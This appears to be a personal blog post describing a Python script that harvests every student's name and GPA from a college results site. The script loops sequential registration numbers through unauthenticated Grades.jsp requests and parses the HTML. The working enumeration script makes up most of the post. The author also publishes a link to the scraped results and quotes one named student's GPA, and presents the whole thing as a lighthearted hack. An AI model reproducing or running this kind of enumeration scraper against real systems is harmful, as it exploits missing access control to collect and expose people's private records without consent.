The results come again, and everyone is excited to know "What was your GPA ?". And I there sitting in my room cursing my own 8.07 is thinking how to grab everyone's gpa ?!
I've been learning Python this winter break on my own, so I just look up on google about how to access web from python. I end up on
urllib2 - " extensible library for opening URLs"And the method urlopen(url[, data]) is what looks promising for the hack.
The result page is simple - http://210.212.205.26/index.jsp a page with an input field and instructions as to how to access results. Once BG10XYY$$$ style registration code is filled, it shows you the result, again in formatted HTML format with lot of things that we don't want to see :)
Observation #1: hitting the submit button takes you to
http://210.212.205.26/Grades.jsp?RegNo=BG10XYY$$$
So how do you access results, simply by pushing a variable called RegNo into the GET request to Grades.jsp. And by now you'd have guessed what we're gonna do! I will just drive the
RegNo=BG10XYY$$$ part from starting registration number to end by the
urlopen method you saw there.
Observation #2: take a look at the html we get back from
Grades.jsp <p align="center"><font size="5" color="#000000"><b>
Name</b> :- </font><font size="4" color="#000000"> Abinaya A</font></td>
</tr>
</table>
<table border="1" width="50%" align="center" >
<tr>
<td width="64%">
<p align="center"><font size="4" color="#000000"><b>Grade Point Average</b></font></td>
<td width="36%">
<p align="center" ><font color="#000000">6.785714</font></p></td>
</tr>
Obviously the information of interest is entangled in HTML code which is of no meaning for the purpose. We can use split to take em out :)
So now, for modularity and elegance sake, I divide my code into functons -
1. getresult (code) takes registration code, fetches it, splits html to grab result (name and gpa), writes on stdout
2. driveresult() generates registration codes for a branch and year and calls getresult in a loop.
Finally we have -
# looks pretty small right ;)
import urllib2
def getresult(code):
f = urllib2.urlopen("http://210.212.205.26/Grades.jsp?RegNo="+code)
crap = f.read()
if (crap.find("Average")!=-1):
first,second = crap.split("Name</b> :- </font><font size=\"4\" color=\"#000000\">",1)
first,second = second.split("</font></td>",1)
name = first
first,second = crap.split("<p align=\"center\" ><font color=\"#000000\">",1)
first,second = second.split("</font",1)
gpa = first
print code,"\t\t",name,"\t\t\t",gpa
def driveresult (prefix,branch,max):
counter = 1
while (counter<=max):
num = str(counter)
num = num.rjust(3,"0")
#print num
getresult (prefix+branch+num)
counter+=1
driveresult ("bg107","cs",180)
print "---------------------------------------------------------------------"
driveresult ("bg107","ec",200)
print "---------------------------------------------------------------------"
driveresult ("bg107","ee",200)
print "---------------------------------------------------------------------"
driveresult ("bg107","it",200)
print "---------------------------------------------------------------------"
driveresult ("bg107","ei",200)
print "---------------------------------------------------------------------"
And here is the result -
http://sites.google.com/site/ideamonks/Home/107result.txtHope you enjoyed reading about this hack. Do let me know if you did something similar in your college/work/anywhere.
Labels: python